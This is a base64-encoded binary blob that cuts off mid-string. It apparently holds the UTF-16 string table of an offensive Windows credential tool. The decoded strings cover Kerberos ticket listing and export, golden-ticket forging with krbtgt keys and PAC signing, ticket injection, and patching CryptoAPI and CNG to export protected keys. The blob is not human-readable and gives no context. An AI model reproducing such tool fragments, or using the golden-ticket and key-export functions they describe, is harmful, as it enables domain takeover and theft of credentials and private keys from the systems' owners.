AAAAAAIAA7ACAAAAAAAAAAAAAAAAoAIAAgACAAUwBlAHIAdgBlAHIAIABOAGEAbQBlACAAIAAgACAAIAAgACAAOgAgACUAdwBaACAAQAAgACUAdwBaAAAAAAAAAAAAAAAAAAAACgAgACAAIABDAGwAaQBlAG4AdAAgAE4AYQBtAGUAIAAgACAAIAAgACAAIAA6ACAAJQB3AFoAIABAACAAJQB3AFoAAAAAAAAACgAgACAAIABGAGwAYQBnAHMAIAAlADAAOAB4ACAAIAAgACAAOgAgAAAAAAAAAAAAawBpAHIAYgBpAAAAAAAAAAoAIAAgACAAKgAgAFMAYQB2AGUAZAAgAHQAbwAgAGYAaQBsAGUAIAAgACAAIAAgADoAIAAlAHMAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AbABpAHMAdAAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwB3AHIAaQB0AGUARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBsAGkAcwB0ACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFIAZQB0AHIAaQBlAHYAZQBFAG4AYwBvAGQAZQBkAFQAaQBjAGsAZQB0AE0AZQBzAHMAYQBnAGUAIAAvACAAUABhAGMAawBhAGcAZQAgADoAIAAlADAAOAB4AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGwAaQBzAHQAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUgBlAHQAcgBpAGUAdgBlAEUAbgBjAG8AZABlAGQAVABpAGMAawBlAHQATQBlAHMAcwBhAGcAZQAgADoAIAAlADAAOAB4AAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBsAGkAcwB0ACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFEAdQBlAHIAeQBUAGkAYwBrAGUAdABDAGEAYwBoAGUARQB4ADIATQBlAHMAcwBhAGcAZQAgAC8AIABQAGEAYwBrAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGwAaQBzAHQAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUQB1AGUAcgB5AFQAaQBjAGsAZQB0AEMAYQBjAGgAZQBFAHgAMgBNAGUAcwBzAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAAAAAAAAAHQAawB0AAAAbgBvAGMAYQBjAGgAZQAAAHQAYQByAGcAZQB0AAAAAAByAGMANAAAAGQAZQBzAAAAYQBlAHMAMgA1ADYAAAAAAGEAZQBzADEAMgA4AAAAAABBAHMAawBpAG4AZwAgAGYAbwByADoAIAAlAHcAWgAKAAAAAAAAAAAAAAAAAAAAAAAgACAAIAAqACAAVABpAGMAawBlAHQAIABFAG4AYwByAHkAcAB0AGkAbwBuACAAVAB5AHAAZQAgACYAIABrAHYAbgBvACAAbgBvAHQAIAByAGUAcAByAGUAcwBlAG4AdABhAHQAaQB2AGUAIABhAHQAIABzAGMAcgBlAGUAbgAKAAAAAAAAAAAAAAAAAAAAAAAgACAAIAAqACAATgBvAEMAYQBjAGgAZQA6ACAAZQB4AHAAbwByAHQAZQBkACAAdABpAGMAawBlAHQAIABtAGEAeQAgAHYAYQByAHkAIAB3AGkAdABoACAAaQBuAGYAbwByAG0AYQB0AGkAbwBuAHMAIABhAHQAIABzAGMAcgBlAGUAbgAKAAAACgAgACAAIAAqACAAVABLAFQAIAB0AG8AIABmAGkAbABlACAAIAAgACAAIAAgACAAOgAgACUAcwAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBhAHMAawAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwB3AHIAaQB0AGUARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAACgAgACAAIAAqACAASwBpAFIAQgBpACAAdABvACAAZgBpAGwAZQAgACAAIAAgACAAOgAgACUAcwAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBhAHMAawAgADsAIABMAHMAYQBDAGEAbABsAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgBQAGEAYwBrAGEAZwBlACAASwBlAHIAYgBSAGUAdAByAGkAZQB2AGUARQBuAGMAbwBkAGUAZABUAGkAYwBrAGUAdABNAGUAcwBzAGEAZwBlACAALwAgAFAAYQBjAGsAYQBnAGUAIAA6ACAAJQAwADgAeAAKAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGEAcwBrACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFIAZQB0AHIAaQBlAHYAZQBFAG4AYwBvAGQAZQBkAFQAaQBjAGsAZQB0AE0AZQBzAHMAYQBnAGUAIAA6ACAAJQAwADgAeAAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBhAHMAawAgADsAIAAnACUAdwBaACcAIABLAGUAcgBiAGUAcgBvAHMAIABuAGEAbQBlACAAbgBvAHQAIABmAG8AdQBuAGQAIQAKAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGEAcwBrACAAOwAgAEEAdAAgAGwAZQBhAHMAdAAgAC8AdABhAHIAZwBlAHQAIABhAHIAZwB1AG0AZQBuAHQAIABpAHMAIAByAGUAcQB1AGkAcgBlAGQAIAAoAGUAZwA6ACAALwB0AGEAcgBnAGUAdAA6AGMAaQBmAHMALwBzAGUAcgB2AGUAcgAuAGwAYQBiAC4AbABvAGMAYQBsACkACgAAAAAAJQB1AC0AJQAwADgAeAAtACUAdwBaAEAAJQB3AFoALQAlAHcAWgAuACUAcwAAAAAAJQAwADgAeAAtACUAdwBaAEAAJQB3AFoALQAlAHcAWgAuACUAcwAAACUAMAA4AHgALQBuAG8AbgBhAG0AZQAuACUAcwAAAAAAdABpAGMAawBlAHQALgBrAGkAcgBiAGkAAAAAAAAAAAB0AGkAYwBrAGUAdAAAAAAAYQBkAG0AaQBuAAAAAAAAAHUAcwBlAHIAAAAAAAAAAABrAHIAYgB0AGcAdAAAAAAAcwBlAHIAdgBpAGMAZQAAAGkAZAAAAAAAcgBvAGQAYwAAAAAAAAAAAGcAcgBvAHUAcABzAAAAAABzAGkAZABzAAAAAAAwAAAAcwB0AGEAcgB0AG8AZgBmAHMAZQB0AAAANQAyADUANgAwADAAMAAAAGUAbgBkAGkAbgAAAAAAAAByAGUAbgBlAHcAbQBhAHgAAAAAAAAAAABVAHMAZQByACAAIAAgACAAIAAgADoAIAAlAHMACgBEAG8AbQBhAGkAbgAgACAAIAAgADoAIAAlAHMAIAAoACUAcwApAAoAUwBJAEQAIAAgACAAIAAgACAAIAA6ACAAJQBzAAoAVQBzAGUAcgAgAEkAZAAgACAAIAA6ACAAJQB1AAoAAAAAAAAARwByAG8AdQBwAHMAIABJAGQAIAA6ACAAKgAAAAAAAAAlAHUAIAAAAAoARQB4AHQAcgBhACAAUwBJAEQAcwA6ACAAAAAAAAAACgBTAGUAcgB2AGkAYwBlAEsAZQB5ADoAIAAAAAAAAAAgAC0AIAAlAHMACgAAAAAAUwBlAHIAdgBpAGMAZQAgACAAIAA6ACAAJQBzAAoAAABUAGEAcgBnAGUAdAAgACAAIAAgADoAIAAlAHMACgAAAEwAaQBmAGUAdABpAG0AZQAgACAAOgAgAAAAAAAAAAAAKgAqACAAUABhAHMAcwAgAFQAaABlACAAVABpAGMAawBlAHQAIAAqACoAAAAAAAAALQA+ACAAVABpAGMAawBlAHQAIAA6ACAAJQBzAAoACgAAAAAAAAAAAAAAAAAAAAAACgBHAG8AbABkAGUAbgAgAHQAaQBjAGsAZQB0ACAAZgBvAHIAIAAnACUAcwAgAEAAIAAlAHMAJwAgAHMAdQBjAGMAZQBzAHMAZgB1AGwAbAB5ACAAcwB1AGIAbQBpAHQAdABlAGQAIABmAG8AcgAgAGMAdQByAHIAZQBuAHQAIABzAGUAcwBzAGkAbwBuAAoAAAAAAAAAAAAKAEYAaQBuAGEAbAAgAFQAaQBjAGsAZQB0ACAAUwBhAHYAZQBkACAAdABvACAAZgBpAGwAZQAgACEACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuACAAOwAgAAoAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AdwByAGkAdABlAEQAYQB0AGEAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AZwBvAGwAZABlAG4AIAA7ACAASwByAGIAQwByAGUAZAAgAGUAcgByAG8AcgAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AZwBvAGwAZABlAG4AIAA7ACAASwByAGIAdABnAHQAIABrAGUAeQAgAHMAaQB6AGUAIABsAGUAbgBnAHQAaAAgAG0AdQBzAHQAIABiAGUAIAAlAHUAIAAoACUAdQAgAGIAeQB0AGUAcwApACAAZgBvAHIAIAAlAHMACgAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBnAG8AbABkAGUAbgAgADsAIABVAG4AYQBiAGwAZQAgAHQAbwAgAGwAbwBjAGEAdABlACAAQwByAHkAcAB0AG8AUwB5AHMAdABlAG0AIABmAG8AcgAgAEUAVABZAFAARQAgACUAdQAgACgAZQByAHIAbwByACAAMAB4ACUAMAA4AHgAKQAgAC0AIABBAEUAUwAgAG8AbgBsAHkAIABhAHYAYQBpAGwAYQBiAGwAZQAgAG8AbgAgAE4AVAA2AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBnAG8AbABkAGUAbgAgADsAIABNAGkAcwBzAGkAbgBnACAAawByAGIAdABnAHQAIABrAGUAeQAgAGEAcgBnAHUAbQBlAG4AdAAgACgALwByAGMANAAgAG8AcgAgAC8AYQBlAHMAMQAyADgAIABvAHIAIAAvAGEAZQBzADIANQA2ACkACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBnAG8AbABkAGUAbgAgADsAIABTAEkARAAgAHMAZQBlAG0AcwAgAGkAbgB2AGEAbABpAGQAIAAtACAAQwBvAG4AdgBlAHIAdABTAHQAcgBpAG4AZwBTAGkAZABUAG8AUwBpAGQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuACAAOwAgAE0AaQBzAHMAaQBuAGcAIABTAEkARAAgAGEAcgBnAHUAbQBlAG4AdAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBnAG8AbABkAGUAbgAgADsAIABEAG8AbQBhAGkAbgAgAG4AYQBtAGUAIABkAG8AZQBzACAAbgBvAHQAIABsAG8AbwBrACAAbABpAGsAZQAgAGEAIABGAFEARABOAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBnAG8AbABkAGUAbgAgADsAIABNAGkAcwBzAGkAbgBnACAAZABvAG0AYQBpAG4AIABhAHIAZwB1AG0AZQBuAHQACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AZwBvAGwAZABlAG4AIAA7ACAATQBpAHMAcwBpAG4AZwAgAHUAcwBlAHIAIABhAHIAZwB1AG0AZQBuAHQACgAAAAAAAAAgACoAIABQAEEAQwAgAGcAZQBuAGUAcgBhAHQAZQBkAAoAAAAAAAAAIAAqACAAUABBAEMAIABzAGkAZwBuAGUAZAAKAAAAAAAgACoAIABFAG4AYwBUAGkAYwBrAGUAdABQAGEAcgB0ACAAZwBlAG4AZQByAGEAdABlAGQACgAAACAAKgAgAEUAbgBjAFQAaQBjAGsAZQB0AFAAYQByAHQAIABlAG4AYwByAHkAcAB0AGUAZAAKAAAAIAAqACAASwByAGIAQwByAGUAZAAgAGcAZQBuAGUAcgBhAHQAZQBkAAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuAF8AZABhAHQAYQAgADsAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGUAbgBjAHIAeQBwAHQAIAAlADAAOAB4AAoAAAAAAAAACQAqACAAJQBzACAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBoAGEAcwBoAF8AZABhAHQAYQAgADsAIABIAGEAcwBoAFAAYQBzAHMAdwBvAHIAZAAgADoAIAAlADAAOAB4AAoAAAAAAGMAbwB1AG4AdAAAAAAAAABYAC0AQwBBAEMASABFAEMATwBOAEYAOgAAAAAAAAAAAAoAUAByAGkAbgBjAGkAcABhAGwAIAA6ACAAAAAAAAAACgAKAEQAYQB0AGEAIAAlAHUAAAAAAAAACgAJACAAIAAgACoAIABJAG4AagBlAGMAdABpAG4AZwAgAHQAaQBjAGsAZQB0ACAAOgAgAAAAAAAKAAkAIAAgACAAKgAgAFMAYQB2AGUAZAAgAHQAbwAgAGYAaQBsAGUAIAAlAHMAIAAhAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBjAGMAYQBjAGgAZQBfAGUAbgB1AG0AIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AdwByAGkAdABlAEQAYQB0AGEAIAAoADAAeAAlADAAOAB4ACkACgAAAAoACQAqACAAJQB3AFoAIABlAG4AdAByAHkAPwAgACoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGMAYwBhAGMAaABlAF8AZQBuAHUAbQAgADsAIABjAGMAYQBjAGgAZQAgAHYAZQByAHMAaQBvAG4AIAAhAD0AIAAwAHgAMAA1ADAANAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AYwBjAGEAYwBoAGUAXwBlAG4AdQBtACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHIAZQBhAGQARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AYwBjAGEAYwBoAGUAXwBlAG4AdQBtACAAOwAgAEEAdAAgAGwAZQBhAHMAdAAgAG8AbgBlACAAZgBpAGwAZQBuAGEAbQBlACAAaQBzACAAbgBlAGUAZABlAGQACgAAAAAAAAAAACUAdQAtACUAMAA4AHgALgAlAHMAAAAAAAoACQAgACAAIABTAHQAYQByAHQALwBFAG4AZAAvAE0AYQB4AFIAZQBuAGUAdwA6ACAAAAAAAAAACgAJACAAIAAgAFMAZQByAHYAaQBjAGUAIABOAGEAbQBlACAAAAAAAAoACQAgACAAIABUAGEAcgBnAGUAdAAgAE4AYQBtAGUAIAAgAAAAAAAKAAkAIAAgACAAQwBsAGkAZQBuAHQAIABOAGEAbQBlACAAIAAAAAAAIAAoACAAJQB3AFoAIAApAAAAAAAAAAAACgAJACAAIAAgAEYAbABhAGcAcwAgACUAMAA4AHgAIAAgACAAIAA6ACAAAAAAAAAACgAJACAAIAAgAFMAZQBzAHMAaQBvAG4AIABLAGUAeQAgACAAIAAgACAAIAAgADoAIAAwAHgAJQAwADgAeAAgAC0AIAAlAHMAAAAAAAAAAAAKAAkAIAAgACAAIAAgAAAACgAJACAAIAAgAFQAaQBjAGsAZQB0ACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAwAHgAJQAwADgAeAAgAC0AIAAlAHMAIAA7ACAAawB2AG4AbwAgAD0AIAAlAHUAAAAAAAAAAAAJAFsALgAuAC4AXQAAAAAAbgBhAG0AZQBfAGMAYQBuAG8AbgBpAGMAYQBsAGkAegBlAAAAAAAAAG8AawBfAGEAcwBfAGQAZQBsAGUAZwBhAHQAZQAAAAAAaAB3AF8AYQB1AHQAaABlAG4AdAAAAAAAcAByAGUAXwBhAHUAdABoAGUAbg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ByAHkAcAB0AAAAAABOQ3J5cHRPcGVuU3RvcmFnZVByb3ZpZGVyAAAAAAAAAE5DcnlwdEVudW1LZXlzAABOQ3J5cHRPcGVuS2V5AAAATkNyeXB0SW1wb3J0S2V5AE5DcnlwdEV4cG9ydEtleQBOQ3J5cHRHZXRQcm9wZXJ0eQAAAAAAAABOQ3J5cHRTZXRQcm9wZXJ0eQAAAAAAAABOQ3J5cHRGcmVlQnVmZmVyAAAAAAAAAABOQ3J5cHRGcmVlT2JqZWN0AAAAAAAAAABCQ3J5cHRFbnVtUmVnaXN0ZXJlZFByb3ZpZGVycwAAAEJDcnlwdEZyZWVCdWZmZXIAAAAAAAAAAAoAQwByAHkAcAB0AG8AQQBQAEkAIABwAHIAbwB2AGkAZABlAHIAcwAgADoACgAAACUAMgB1AC4AIAAlAC0AMQAzAHMAIAAoACUAMgB1ACkAIAAtACAAJQBzAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AcAByAG8AdgBpAGQAZQByAHMAIAA7ACAAQwByAHkAcAB0AEUAbgB1AG0AUAByAG8AdgBpAGQAZQByAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAACgBDAHIAeQBwAHQAbwBBAFAASQAgAHAAcgBvAHYAaQBkAGUAcgAgAHQAeQBwAGUAcwA6AAoAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AcAByAG8AdgBpAGQAZQByAHMAIAA7ACAAQwByAHkAcAB0AEUAbgB1AG0AUAByAG8AdgBpAGQAZQByAFQAeQBwAGUAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAKAEMATgBHACAAcAByAG8AdgBpAGQAZQByAHMAIAA6AAoAAAAAAAAAJQAyAHUALgAgACUAcwAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAHAAcgBvAHYAaQBkAGUAcgBzACAAOwAgAEIAQwByAHkAcAB0AEUAbgB1AG0AUgBlAGcAaQBzAHQAZQByAGUAZABQAHIAbwB2AGkAZABlAHIAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEMAVQBSAFIARQBOAFQAXwBVAFMARQBSAAAAAAAAAAAAcwB5AHMAdABlAG0AcwB0AG8AcgBlAAAAQQBzAGsAaQBuAGcAIABmAG8AcgAgAFMAeQBzAHQAZQBtACAAUwB0AG8AcgBlACAAJwAlAHMAJwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAHMAdABvAHIAZQBzACAAOwAgAEMAZQByAHQARQBuAHUAbQBTAHkAcwB0AGUAb